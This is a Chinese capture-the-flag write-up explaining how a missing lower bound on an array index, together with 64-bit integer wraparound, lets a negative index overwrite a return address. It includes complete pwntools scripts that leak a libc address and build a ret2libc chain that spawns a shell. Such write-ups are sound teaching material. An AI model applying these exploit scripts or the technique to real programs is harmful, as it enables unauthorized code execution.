看起来很安全呢。
做了很多栈溢出的题目,这道不太一样。这本质上是数组下标越界漏洞,由于缺少对索引下限的检查,配合整数溢出达成了任意地址写。
1 2 3 4 5 6
| Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x3fc000) Stripped: No
|
查看IDA:
有后门函数shell,不过没有"bin/sh"
1 2 3 4
| int shell() { return system("id"); }
|
main()只有一些信息
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| int __cdecl main(int argc, const char **argv, const char **envp) { char s[24]; unsigned __int64 v5;
v5 = __readfsqword(0x28u); setvbuf(stdin, 0LL, 2, 0LL); setvbuf(_bss_start, 0LL, 2, 0LL); puts("Enter administrator's name:"); __isoc99_scanf("%9s", s); puts("\n--------------------"); puts("Welcome:"); puts("\n"); puts(s); puts("\n--------------------"); hacker(); return 0; }
|
还有比较重要的hacker()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| unsigned __int64 hacker() { int j; int i; __int64 v3; __int64 v4; __int64 s[11]; unsigned __int64 v6;
v6 = __readfsqword(0x28u); puts("Welcome to hacker's system\n"); puts("Now you can set hackers' age\n"); memset(s, 0, 0x50uLL); for ( i = 0; i <= 9; ++i ) { puts("Enter hacker index:"); __isoc99_scanf("%lld", &v3); puts("Enter hacker age:"); __isoc99_scanf("%lld", &v4); if ( v3 > 9 ) exit(0); s[v3] = v4; } puts("Now let's see your creation:'"); for ( j = 0; j <= 9; ++j ) printf("%lld ", s[j]); return __readfsqword(0x28u) ^ v6; }
|
但是这里全部使用的是scanf而不是像read和gets这样的危险函数。很难进行栈溢出,这时注意到s[11]读取的逻辑是索引+内容,索引v3 > 9则退出,最多读10次。
以前做过的一些pwn题是填进去-1。
计算机存储有符号整数时,不会直接存正负号,而是用补码表示:
- 正数的补码 = 原码(直接是数字的二进制)
- 负数的补码 = 对应正数的原码「按位取反 + 1」
比如:
- 64位整数
__int64,-1会以0xFFFFFFFFFFFFFFFF储存
- 32位整数即
int,-1以0xFFFFFFFF
- 8位整数,-1以0xFF表示
数组s位于rbp - 0x60,而函数返回地址位于 rbp + 0x08。
从 s 的起始点到返回地址需要跳过多少个字节:0x08 - (-0x60) = 0x68,也就是104字节。
由于数组 s 是 __int64 类型,每个元素占 8 字节,我们要找的索引 $v3$ 应该是:$104 / 8 = 13$
但代码里有 if (v3 > 9) exit(0);,直接输入 13 会导致程序自杀。
在 64 位系统中,内存地址计算是基于 64 位无符号数的。当你访问 s[v3] 时,底层汇编做的事情是:$\text{目标地址} = \text{数组首地址} + (v3 \times 8)$
比如:
1 2 3 4
| mov rax, [rbp+var_70] mov rdx, [rbp+var_68] mov [rbp+rax*8+s], rdx add [rbp+var_74], 1
|
如果我们将 $v3$ 设为一个极大的负数,当它乘以 $8$ 时,结果会超出64位寄存器能表达的最大值,从而回到小的值
把 $2^{64}$ 这个“圆圈”想成一个巨大的数。我们要找的 $v3$ 实际上是:
$$v3 = (104 - 2^{64}) / 8$$
- $2^{64} = 18,446,744,073,709,551,616$
- $104 - 2^{64} = -18,446,744,073,709,551,512$
- 除以 8:$-18,446,744,073,709,551,512 / 8 = -2,305,843,009,213,693,939$
这就是那个魔法数字:-2305843009213693939
那么先测试一下,
1 2 3 4 5 6 7 8 9 10 11 12
| shell = 0x4007e6 def send_payload(idx, val): p.sendlineafter(b"index:", str(idx).encode()) p.sendlineafter(b"age:", str(val).encode())
magic = -2305843009213693939 p.sendlineafter(b"name:", b"snowcat") send_payload(magic, shell) for _ in range(9): p.sendlineafter(b"index:", b"0") p.sendlineafter(b"age:", b"0") p.interactive()
|
这里将shell改成shell+1成功打印了id信息,因为需要跳过push rbp
说明可行。之后是想怎么执行”/bin/sh”,
这时想到main()中可以读9个字节,但是比较麻烦,想到已经可以在返回地址中写rop了,于是ret2libc。
笔者直接迷住了。
完整exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41
| from pwn import * context(arch='amd64', os='linux', log_level='debug') context.terminal = ['tmux','splitw','-h'] p = process('./pwn') elf = ELF('./pwn') libc = ELF('libc.so.6') pop_rdi = 0x400a33 ret = 0x400631 hacker = 0x4007f7 main = 0x4008fc start = 0x4006f0 magic = -2305843009213693939
def send_payload(idx, val): p.sendlineafter(b"index:", str(idx).encode()) p.sendlineafter(b"age:", str(val).encode())
p.sendlineafter(b"name:", b"snowcat") send_payload(magic, pop_rdi) send_payload(magic + 1, elf.got['puts']) send_payload(magic + 2, elf.plt['puts']) send_payload(magic + 3, start) for i in range(6): send_payload(0, 0) p.recvuntil(b"0 0 0 0 0 0 0 0 0 0 ") leak_addr = u64(p.recv(6).ljust(8, b'\x00')) log.success(f"Leaked puts address: {hex(leak_addr)}")
libc.address = leak_addr - libc.symbols['puts'] bin_sh_addr = next(libc.search(b'/bin/sh')) system_addr = libc.symbols['system']
p.sendlineafter(b"name:", b"snowcat") send_payload(magic, pop_rdi) send_payload(magic + 1, bin_sh_addr) send_payload(magic + 2, ret) send_payload(magic + 3, system_addr)
for i in range(6): send_payload(0, 0)
p.interactive()
|